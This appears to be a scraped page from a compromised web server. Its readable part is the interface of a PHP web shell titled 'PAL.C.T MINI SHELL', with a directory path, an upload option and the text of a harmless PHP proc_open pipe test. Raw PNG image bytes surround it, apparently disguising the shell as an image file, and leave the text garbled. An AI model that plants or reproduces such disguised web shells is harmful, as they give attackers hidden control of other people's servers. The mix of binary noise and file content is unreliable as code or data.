php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /php-7.1.11/ext/standard/tests/general_functions/
upload
files >> //php-7.1.11/ext/standard/tests/general_functions/bug44667.phpt

--TEST--
Bug #44667 (proc_open() does not handle pipes with the mode 'wb' correctly)
--SKIPIF--
<?php if (!is_executable('/bin/cat')) echo 'skip cat not found'; ?>
--FILE--
<?php

$pipes = array();

$descriptor_spec = array(
	0 => array('pipe', 'rb'),
	1 => array('pipe', 'wb'),
);
        
$proc = proc_open('cat', $descriptor_spec, $pipes);
        
fwrite($pipes[0], 'Hello', 5);
fflush($pipes[0]);
fclose($pipes[0]);
        
$result = fread($pipes[1], 5);
fclose($pipes[1]);
        
proc_close($proc);
        
echo "Result is: ", $result, "\n";        

echo "Done\n";

?>
--EXPECTF--
Result is: Hello
Done
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`